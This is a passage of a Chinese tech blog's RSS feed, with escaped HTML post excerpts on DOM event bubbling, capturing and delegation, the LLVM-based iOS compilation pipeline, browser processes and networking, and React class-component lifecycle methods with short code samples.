+0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/</guid><description>&lt;p&gt;&lt;code&gt;DOM&lt;/code&gt;事件流（&lt;code&gt;event flow&lt;/code&gt; ）存在三个阶段：事件捕获阶段、处于目标阶段、事件冒泡阶段。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Dom&lt;/code&gt;标准事件流的触发的先后顺序为：先捕获再冒泡。即当触发&lt;code&gt;dom&lt;/code&gt;事件时，会先进行事件捕获，捕获到事件源之后通过事件传播进行事件冒泡。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;addEventListener的第三个参数&lt;/strong&gt;&lt;br&gt;
在我们平常用的&lt;code&gt;addEventListener&lt;/code&gt;方法中，一般只会用到两个参数，一个是需要绑定的事件，另一个是触发事件后要执行的函数，然而&lt;code&gt;addEventListener&lt;/code&gt;还可以传入第三个参数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;element&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;useCapture&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;第三个参数默认值是&lt;code&gt;false&lt;/code&gt;，表示在事件冒泡阶段调用事件处理函数;如果参数为&lt;code&gt;true&lt;/code&gt;，则表示在事件捕获阶段调用处理函数。如果不写第三个参数则默认在事件冒泡阶段调用事件处理函数。&lt;/p&gt;
&lt;p&gt;下面先介绍事件冒泡：&lt;/p&gt;
&lt;h2 id="1-事件冒泡"&gt;1. 事件冒泡&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;事件冒泡（dubbed bubbling）&lt;/code&gt;：当一个元素接收到事件的时候，会把他接收到的事件传给自己的父级，一直到 &lt;code&gt;window&lt;/code&gt; （注意这里传递的仅仅是事件，例如&lt;code&gt;click、focus&lt;/code&gt;等等这些事件， 并不传递所绑定的事件函数。）&lt;/p&gt;
&lt;p&gt;事件源 =&amp;gt;根节点（由内到外）进行事件传播。&lt;/p&gt;
&lt;p&gt;举例说明：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;给三个盒子依次绑定点击事件，当点击盒子的时候，会依次触发父级元素的点击事件。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click small box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click center box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click big box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;如果父元素没有绑定点击事件则只会触发点击盒子的事件。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-07.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click small box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-08.webp"&gt;&lt;/p&gt;
&lt;p&gt;如果子元素（&lt;code&gt;small&lt;/code&gt;）的点击事件去掉，当我们点击&lt;code&gt;small&lt;/code&gt;的时候会把当前操作的点击事件传递给父元素（因为父元素绑定了点击函数） &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-09.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click small box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-10.webp"&gt;&lt;/p&gt;
&lt;p&gt;有些时候我们不希望产生事件冒泡，所以可以 &lt;strong&gt;在子事件中加入e.stopPropagation()&lt;/strong&gt; 取消冒泡 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-11.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click small box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-12.webp"&gt;&lt;/p&gt;
&lt;h2 id="2-事件捕获"&gt;2. 事件捕获&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;事件捕获（event capturing）&lt;/code&gt;： 当鼠标点击或者触发&lt;code&gt;dom&lt;/code&gt;事件时（被触发&lt;code&gt;dom&lt;/code&gt;事件的这个元素被叫作事件源），浏览器会从根节点 =&amp;gt;事件源（由外到内）进行事件传播。&lt;/p&gt;
&lt;p&gt;事件捕获与事件冒泡是比较类似的，最大的不同在于事件传播的方向。&lt;/p&gt;
&lt;p&gt;还是举上面的例子： &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-13.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;click small box&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-14.webp"&gt;&lt;/p&gt;
&lt;h2 id="3-事件委托"&gt;3. 事件委托&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;事件委托&lt;/code&gt;也称为&lt;code&gt;事件代理&lt;/code&gt;。就是利用&lt;code&gt;事件冒泡&lt;/code&gt;，把子元素的事件都绑定到父元素上。如果子元素阻止了事件冒泡，那么委托就无法实现。&lt;/p&gt;
&lt;p&gt;原理实现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;不是每个子节点单独设置事件监听器&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;而是事件监听器设置在其父节点上&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;然后利用冒泡原理影响设置每个子节点&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;应用场景：&lt;code&gt;1000&lt;/code&gt;个&lt;code&gt;button&lt;/code&gt;需要注册点击事件&lt;/p&gt;
&lt;p&gt;如果循环给每个按钮添加点击事件，那么会增加内存损耗，影响性能 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-15.webp"&gt;&lt;/p&gt;
&lt;p&gt;此时可以给&lt;code&gt;button&lt;/code&gt;的父元素添加点击事件 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-16.webp"&gt;&lt;/p&gt;
&lt;p&gt;这时相当于每个按钮都绑定了点击事件&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/image-17.webp"&gt;&lt;/p&gt;
&lt;p&gt;优点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;替代循环绑定事件的操作，减少内存消耗，提高性能。比如：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;table&lt;/code&gt;上代理所有&lt;code&gt;td&lt;/code&gt;的&lt;code&gt;click&lt;/code&gt;事件。&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;ul&lt;/code&gt;上代理所有&lt;code&gt;li&lt;/code&gt;的&lt;code&gt;click&lt;/code&gt;事件。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;简化了&lt;code&gt;dom&lt;/code&gt;节点更新时，相应事件的更新。比如：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;不用在新添加的&lt;code&gt;li&lt;/code&gt;上绑定&lt;code&gt;click&lt;/code&gt;事件。&lt;/li&gt;
&lt;li&gt;当删除某个&lt;code&gt;li&lt;/code&gt;时，不用移解绑上面的&lt;code&gt;click&lt;/code&gt;事件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;缺点：&lt;/p&gt;</description></item><item><title>iOS编译原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/</guid><description>&lt;h2 id="编译器架构llvm-与-clang"&gt;编译器架构：LLVM 与 Clang&lt;/h2&gt;
&lt;p&gt;iOS 开发中的两种主要语言 Objective-C 和 Swift 都基于 LLVM 编译器基础设施。理解 LLVM 的架构是理解 iOS 编译原理的基础。&lt;/p&gt;
&lt;h3 id="llvm-的三段式架构"&gt;LLVM 的三段式架构&lt;/h3&gt;
&lt;p&gt;LLVM 采用经典的&lt;strong&gt;前端-中间表示-后端&lt;/strong&gt;三段式设计，将编译过程解耦为三个独立的阶段：&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart LR
subgraph Frontend["前端（Frontend）"]
direction TB
A1["Clang（OC/C/C++）"]
A2["Swift 前端"]
end
subgraph Middle["中间表示"]
direction TB
B1["LLVM IR"]
end
subgraph Backend["后端（Backend）"]
direction TB
C1["arm64（iOS真机）"]
C2["x86_64（模拟器）"]
end
A1 --&gt; B1
A2 --&gt; B1
B1 --&gt; C1
B1 --&gt; C2
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;th&gt;iOS 中的实现&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;前端（Frontend）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;词法分析、语法分析、语义分析，将源码转换为中间表示&lt;/td&gt;
&lt;td&gt;Clang（OC/C/C++）、Swift 前端&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;中间表示（IR）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;与语言无关、与平台无关的中间形式，承载优化&lt;/td&gt;
&lt;td&gt;LLVM IR（Swift 还有额外的 SIL 层）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;后端（Backend）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;将 IR 转换为目标平台的机器码&lt;/td&gt;
&lt;td&gt;arm64（真机）、x86_64（Intel 模拟器）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;三段式架构的核心优势是&lt;strong&gt;解耦&lt;/strong&gt;：新增一门语言只需实现一个前端，新增一个目标平台只需实现一个后端，所有语言和平台共享同一套优化基础设施。这正是 Apple 能同时支持 OC 和 Swift 两种语言、多种架构（arm64、x86_64）的技术基础。&lt;/p&gt;</description></item><item><title>浏览器渲染过程中的网络层面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/</guid><description>&lt;h2 id="一梳理主干流程"&gt;一、梳理主干流程&lt;/h2&gt;
&lt;p&gt;知识体系中，最重要的是骨架，脉络。有了骨架后，才方便填充细节。所以，先梳理下主干流程：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;浏览器接收url并开启一个新进程（这一部分可以展开浏览器的进程与线程的关系）&lt;/li&gt;
&lt;li&gt;浏览器解析输入的 URL，提取出其中的协议、域名和路径等信息。（这部分涉及URL组成部分）&lt;/li&gt;
&lt;li&gt;浏览器向 DNS 服务器发送请求，DNS服务器通过 多层查询 将该 域名 解析为对应的 IP地址 ，然后将请求发送到该IP地址上，与 服务器 建立连接和交换数据。（这部分涉及DNS查询）&lt;/li&gt;
&lt;li&gt;浏览器与服务器建立 TCP 连接。（这部分涉及TCP三次握手/四次挥手/5层网络协议）&lt;/li&gt;
&lt;li&gt;浏览器向服务器发送 HTTP 请求，包含请求头和请求体。（4,5,6,7包含http头部、响应码、报文结构、cookie等知识）&lt;/li&gt;
&lt;li&gt;服务器接收并处理请求，并返回响应数据，包含状态码、响应头和响应体。&lt;/li&gt;
&lt;li&gt;浏览器接收到响应数据，解析响应头和响应体，并根据状态码判断是否成功。&lt;/li&gt;
&lt;li&gt;如果响应成功，浏览器接收到http数据包后的解析流程（这部分涉及到html - 词法分析，解析成DOM树，解析CSS生成CSSOM树（样式树），合并生成render渲染树（样式计算）。然后layout布局，分层，调用GPU绘制等，最后将绘制的结果合成最终的页面图像，显示在屏幕上。这个过程会发生回流和重绘）。&lt;/li&gt;
&lt;li&gt;连接结束 -&amp;gt; 断开TCP连接 四次挥手&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;梳理出主干骨架，然后就需要往骨架上填充细节内容。&lt;/p&gt;
&lt;p&gt;接下来重点介绍“浏览器渲染过程中的网络层面”。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二浏览器接收url并开启一个新进程"&gt;二、浏览器接收url并开启一个新进程&lt;/h2&gt;
&lt;p&gt;这部分内容开始之前我们需要先通过一张图对 进程 和 线程 的关系有一个初步的了解。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="1-浏览器是多进程的"&gt;1. 浏览器是多进程的&lt;/h3&gt;
&lt;p&gt;浏览器是多进程的，有一个主进程，每打开一个tab页面都会新开一个&lt;strong&gt;进程&lt;/strong&gt;（某些情况下多个tab会合并进程）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：在这里浏览器应该也有自己的优化机制，有时候打开多个tab页后，比如打开多个空白标签页。可以在Chrome任务管理器中看到，进程被合并了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进程可能包括主进程，插件进程，GPU，tab页（浏览器内核）等等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Browser进程&lt;/strong&gt;：浏览器的主进程（负责协调、主控），只有一个。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三方插件进程&lt;/strong&gt;：每种类型的插件对应一个进程，仅当使用该插件时才创建。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU进程&lt;/strong&gt;：最多一个，用于3D绘制等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;浏览器渲染进程&lt;/strong&gt;（浏览器内核）（内部是多线程的）：默认每个Tab页面一个进程，互不影响。作用是页面渲染，脚本执行，事件处理等。（浏览器有时候会优化，如多个空白页合并成一个进程）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;强化记忆：&lt;strong&gt;&lt;code&gt;在浏览器中打开一个网页相当于新起了一个进程（进程内有自己的多线程）&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下图以 chrome浏览器 为例。我们可以自己通过Chrome的更多工具 =》 任务管理器 自行验证查看，可以看到chrome的任务管理器中有多个进程（分别是每一个Tab页面有一个独立的进程，以及一个主进程）&lt;br&gt;
然后能看到每个进程的内存资源信息以及cpu占有率。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="2-浏览器内核是多线程的"&gt;2. 浏览器内核是多线程的&lt;/h3&gt;
&lt;p&gt;每一个tab页面可以看作是浏览器内核的一个进程，然后这个进程是多线程的，它有几大类子线程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GUI渲染线程&lt;/strong&gt;：负责渲染浏览器界面，解析HTML，CSS，构建DOM树和RenderObject树，布局和绘制等。&lt;code&gt;GUI渲染线程与JS引擎线程是互斥的&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JS引擎线程&lt;/strong&gt;：也叫 JS 内核，负责解析执行 JS 脚本程序的主线程，例如 V8 引擎。JS引擎一直等待着任务队列中任务的到来，然后加以处理，一个Tab页（renderer进程）中无论什么时候都只有一个JS线程在运行JS程序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件触发线程&lt;/strong&gt;：属于浏览器内核线程，主要用于控制事件，例如鼠标、键盘等，当事件被触发时，就会把事件的处理函数推进事件队列，等待 JS 引擎线程执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定时器触发线程&lt;/strong&gt;：主要控制 setInterval和 setTimeout，用来计时，计时完毕后，则把定时器的处理函数推进事件队列中，等待 JS 引擎线程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步http请求线程&lt;/strong&gt;：通过XMLHttpRequest连接后，通过浏览器新开的一个线程，监控readyState状态变更时，如果设置了该状态的回调函数，则将该状态的处理函数推进事件队列中，等待JS引擎线程执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/image-03.webp"&gt;&lt;/p&gt;</description></item><item><title>react 渲染机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-019/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-019/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;文本分为两大部分讲解，一部分是&lt;code&gt;首次挂载渲染&lt;/code&gt;原理，另一部分是&lt;code&gt;更新和卸载&lt;/code&gt;原理，很多地方非常抽象，希望大家仔细阅读，不然容易脱节。废话不多话，开车！！&lt;/p&gt;
&lt;h2 id="正文"&gt;正文&lt;/h2&gt;
&lt;p&gt;在开始之前，需要一些前置知识才能帮助我们更好的理解整个渲染过程。首先就是&lt;code&gt;生命周期(16版本之后)&lt;/code&gt;，为什么要讲一下生命周期？跟渲染原理有关系吗？当然有，如果你不理解渲染原理的话，更新一个嵌套很深的组件你甚至连&lt;code&gt;父与子&lt;/code&gt;生命周期执行的先后顺序都不知道。本文直接对照&lt;code&gt;16&lt;/code&gt;版本之后的&lt;code&gt;新生命周期&lt;/code&gt;进行讲解，就不讲解老版本了。&lt;/p&gt;
&lt;h2 id="初探-生命周期"&gt;初探-生命周期&lt;/h2&gt;
&lt;p&gt;顾名思义，跟人生一样，&lt;code&gt;生命周期&lt;/code&gt;就是一个组件从&lt;code&gt;诞生&lt;/code&gt;到&lt;code&gt;销毁&lt;/code&gt;的过程。&lt;code&gt;React&lt;/code&gt;在组件的&lt;code&gt;生命周期&lt;/code&gt;中注册了一系列的&lt;code&gt;钩子函数&lt;/code&gt;，支持开发者在其中注入代码，并在适当的时机运行。这里指的&lt;code&gt;生命周期&lt;/code&gt;仅针对于&lt;code&gt;类组件&lt;/code&gt;中的&lt;code&gt;钩子函数&lt;/code&gt;。因为&lt;code&gt;生命周期&lt;/code&gt;不是本文的重点，所以&lt;code&gt;Hooks&lt;/code&gt;中的新增的&lt;code&gt;钩子函数&lt;/code&gt;在本文中均不涉及，可以以后出个&lt;code&gt;Hooks&lt;/code&gt;原理篇。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-019/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;从图中可以看到，我把&lt;code&gt;生命周期&lt;/code&gt;分为了&lt;code&gt;挂载阶段&lt;/code&gt;、&lt;code&gt;更新阶段&lt;/code&gt;、&lt;code&gt;卸载阶段&lt;/code&gt;三个阶段。同时，在&lt;code&gt;挂载阶段&lt;/code&gt;和&lt;code&gt;更新阶段&lt;/code&gt;都会运行&lt;code&gt;getDerivedStateFromProps&lt;/code&gt;和&lt;code&gt;render&lt;/code&gt;，卸载阶段很好理解，只有一个&lt;code&gt;componentWillUnMount&lt;/code&gt;，在卸载组件之前做一些事情，通常用来&lt;code&gt;清除定时器等副作用操作&lt;/code&gt;。那么&lt;code&gt;挂载阶段&lt;/code&gt;和&lt;code&gt;更新阶段&lt;/code&gt;中的生命周期我们来逐一看下每个运行点及作用。&lt;/p&gt;
&lt;h3 id="1-constructor"&gt;1. constructor&lt;/h3&gt;
&lt;p&gt;在同一个类组件对象只会运行一次。所以经常来做一些&lt;code&gt;初始化&lt;/code&gt;的操作。同一个组件对象被多次创建，它们的&lt;code&gt;construcotr&lt;/code&gt;互不干扰。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：在&lt;code&gt;construcotr&lt;/code&gt;中要尽量避免（最好禁止）使用&lt;code&gt;setState&lt;/code&gt;。&lt;/strong&gt; 我们都知道使用&lt;code&gt;setState&lt;/code&gt;会造成页面的重新渲染，但是在&lt;code&gt;初始化&lt;/code&gt;阶段，页面都还没有将&lt;code&gt;真实DOM&lt;/code&gt;挂载到页面上，那么重新渲染的又有什么意义呢。除&lt;code&gt;异步&lt;/code&gt;的情况，比如&lt;code&gt;setInterval&lt;/code&gt;中使用&lt;code&gt;setState&lt;/code&gt;是没问题的，因为在执行的时候页面早已&lt;code&gt;渲染完成&lt;/code&gt;。但也最好不要，容易一些引起奇怪的问题。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//不可以，直接Warning
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setState&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;num&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//可以使用，但不建议
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setInterval&lt;/span&gt;(()=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setState&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;num&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-019/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="2-静态属性-static-getderivedstatefromprops"&gt;2. 静态属性 static getDerivedStateFromProps&lt;/h3&gt;
&lt;p&gt;该方法是一个&lt;code&gt;静态属性&lt;/code&gt;，在&lt;code&gt;16&lt;/code&gt;版本之前不存在，在新版&lt;code&gt;生命周期&lt;/code&gt;中主要用来取代&lt;code&gt;componentWillMount&lt;/code&gt;和&lt;code&gt;componentWillReceiveProps&lt;/code&gt;，因为这两个&lt;code&gt;老生命周期&lt;/code&gt;方法在一些开发者不规范的使用下极容易产生一些&lt;code&gt;反模式&lt;/code&gt;的bug。因为是&lt;code&gt;静态方法&lt;/code&gt;，所以你在其中根本拿不到&lt;code&gt;this&lt;/code&gt;，更不可能调用&lt;code&gt;setState&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;该方法在&lt;code&gt;挂载阶段&lt;/code&gt;和&lt;code&gt;更新阶段&lt;/code&gt;都会运行。它有两个参数&lt;code&gt;props&lt;/code&gt;和&lt;code&gt;state&lt;/code&gt;当前的&lt;code&gt;属性值&lt;/code&gt;和&lt;code&gt;状态&lt;/code&gt;。它的返回值会合并掉当前的&lt;code&gt;状态（state）&lt;/code&gt;。 如果返回了非&lt;code&gt;Object&lt;/code&gt;的值，那么它啥都不会做，如果返回的是&lt;code&gt;Object&lt;/code&gt;，那么它将会跟当前的状态合并，可以理解为&lt;a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/assign"&gt;Object.assign&lt;/a&gt;。通常情况下，几乎不怎么使用该方法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * 静态方法，首次挂载和更新渲染都会运行该方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * @param {*} props 当前属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * @param {*} state 当前状态
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; */&lt;/span&gt;
